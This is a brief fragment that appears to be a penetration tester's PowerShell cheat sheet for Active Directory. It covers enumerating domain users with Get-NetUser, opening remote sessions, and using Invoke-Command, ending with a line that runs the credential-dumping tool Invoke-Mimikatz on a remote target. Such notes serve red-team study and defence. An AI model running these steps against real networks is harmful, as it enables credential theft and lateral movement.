select
where
(Get-NetUser | select name).count
$sess = New-PSSession -ComputerName <target_name>
Enter-PSSession -Session $sess
Invoke-Command [-ScriptBlock {commands}] [-ComputerName <target_name_FQDN> or <Get-Content comp.txt>] [-FilePath C:\path] [-ArgumentList <args>] [-Credential]
Load a function from one machine to another
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName target.local